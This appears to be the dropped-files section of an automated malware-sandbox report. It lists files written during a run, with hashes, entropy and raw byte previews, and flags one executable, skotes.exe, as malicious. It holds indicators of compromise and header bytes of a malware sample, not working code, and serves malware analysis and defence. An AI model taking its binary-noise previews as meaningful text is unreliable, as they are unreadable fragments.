SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\356e6c16-8b5f-4a74-b99f-d6bf928d4a4c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, comment: "Lavc59.36.100", baseline, precision 8, 1280x720, components 3
Category:	dropped
Size (bytes):	1534150
Entropy (8bit):	7.992061063530385
Encrypted:	true
SSDEEP:	24576:jEdX3dr4zeuFNfImv86pL0ZD5VUErHUtHS1II/yQY3go5JVFy9+jRpdcbNoTMbLa:2ndrkJNfCKWD5VUUoS1xYXfVFyORPINY
MD5:	021F688D559CCC68114F61794C2C2F3E
SHA1:	8B3DED37045BB29E3952568A76C1707E7487FFAE
SHA-256:	E13ABB150EFA861A350D52B26F72F54A57B46CE9EB42860CD394BBC271EC4216
SHA-512:	BCB2165A81E1DFB87E67B8849EE38DF2CBB02AB8D30422F5075D7619FF2147B6BF3BBFC01DA1D65804E0E2ACAA30387751DBAFF0DDFFA4FDE9ABA62224BE7A7C
Malicious:	false
Preview:	.....XICC_PROFILE......HLino....mntrRGB XYZ .........1..acspMSFT....IEC sRGB.......................-HP ................................................cprt...P...3desc.......lwtpt........bkpt........rXYZ........gXYZ...,....bXYZ...@....dmnd...T...pdmdd........vued...L....view.......$lumi........meas.......$tech...0....rTRC...<....gTRC...<....bTRC...<....text....Copyright (c) 1998 Hewlett-Packard Company..desc........sRGB IEC61966-2.1............sRGB IEC61966-2.1..................................................XYZ .......Q........XYZ ................XYZ ......o...8.....XYZ ......b.........XYZ ......$.........desc........IEC http://www.iec.ch............IEC http://www.iec.ch..............................................desc........IEC 61966-2.1 Default RGB colour space - sRGB............IEC 61966-2.1 Default RGB colour space - sRGB......................desc.......,Reference Viewing Condition in IEC61966-2.1...........,Reference Viewing Condition in IEC61966-2.1..........................

C:\Users\user\AppData\Local\Temp\65b2c7b4-525d-4d3f-8708-601514b4592b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\96149ee4-d287-45e8-a5ba-470b4b427eeb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsIIJKJDAFHJ.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1886720
Entropy (8bit):	7.950156401267885
Encrypted:	false
SSDEEP:	49152:Z71jIIMuziLRGatAdrDMBWhHtAlFYn0jzl/g6:1r2LrsfMBKNAkn0j66
MD5:	9DEA0E097A9267EEC56E1D08E9F37554
SHA1:	7E7F36A9C20B52830BC11B77B48814EFBE7276E9
SHA-256:	ECDBC4F125DB74BC0D489F0C3C4FEB805225AF49B02762F70C69F2DCB95E2751
SHA-512:	61A5284F0AFC6637EF794DFCD761529ABA1E72F46428E2363FE5F372E16CE34902EDD97FE5B41E98ECE99EF18A92AA9458E97E21454B904D92F1A7C345C236E7
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@...........................K......+....@.................................W...k.......D...................$.J...............................J..................................................... . ............................@....rsrc...D...........................@....idata ............................@... .p*.........................@...ckxzyosv..... 1.....................@...hvcuhzos......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ac14fe99-2c69-4e28-bb42-fe98422a3a5c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\c3092f8c-0390-4065-bf3a-1ffea3907956.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41924
Category:	dropped
Size (bytes):	76314
Entropy (8bit):	7.996159328201069
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/CFZ2cHkObTysAGz88:GdS8scZNzFrMa4M+labb1TqeZ
MD5:	A4C1A16984D4A1F4D15F6A9075FE4ABD
SHA1:	15E87677062BF7F7B7E67381FC2E84D460F28F6F
SHA-256:	254A9865F8224E75BA2122569902D21BB2D612E501589842B35C334B8DA28187
SHA-512:	6BFDF4BEFE6BB68184683D7E90994848D262D7C18BB4D74BF024BF99035511A1F3564BE49E8E6DF934CC4E6F33216FA1A8B2E613B9F5900B51A8AB68B6C754FE
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.412131165213247
Encrypted:	false
SSDEEP:	48:Y4MfJVe5wMd5wMe07cIF5Io0MY5kU2A0OpJ5xnL0MotJ5VovUx0xeI5Pt00xJL5M:JIVuwEw5MUFZLBQLtaNLM
MD5:	A852DC8993B91B0F5CFC7CD07079C270
SHA1:	29AE065F5D0795A472D37D7F15650A0E4FAF4C80
SHA-256:	824FC725611FC1C51CE40503EF52EFC4F1CFFD21CEDF9974F95CFF2BCCDD5F99
SHA-512:	0E2F1D5B08A45726004934B624A081AF20AE5ECE38DE048FB92164F0D687E21B7C3CD64CC74452671F42D3A7ECFEDB0E0EFA6A9FF30E620339C401F8C157FE92
Malicious:	false
Preview:	{"logTime": "1005/061810", "correlationVector":"0kV+/vRB8ay0a3Cue7mk6o","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"AFo3IfjRT+3l4ojiXpMdNH","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"838E3BF9A44F456CB4AD62AC737EDD15","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063233", "correlationVector":"2N8fwTcZh6EtTfQ8o4+6aX","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063233", "correlationVector":"5ADEBA42608E4CC9A1FACA719F284CF9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063346", "correlationVector":"xp/hBMCdVPtUIxZHIviv/x","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063347", "correlationVector":"BF0B9E58C0CC45ED9AB5D0371131E69A","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/064305", "correlationVector":"ONVjsWDap1LyjIRdxsqPGs","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/064305", "correlationVector":"82E52491

C:\Users\user\AppData\Local\Temp\e03cbc67-f05d-40b8-b2e1-2d78de74c7f2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\96149ee4-d287-45e8-a5ba-470b4b427eeb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
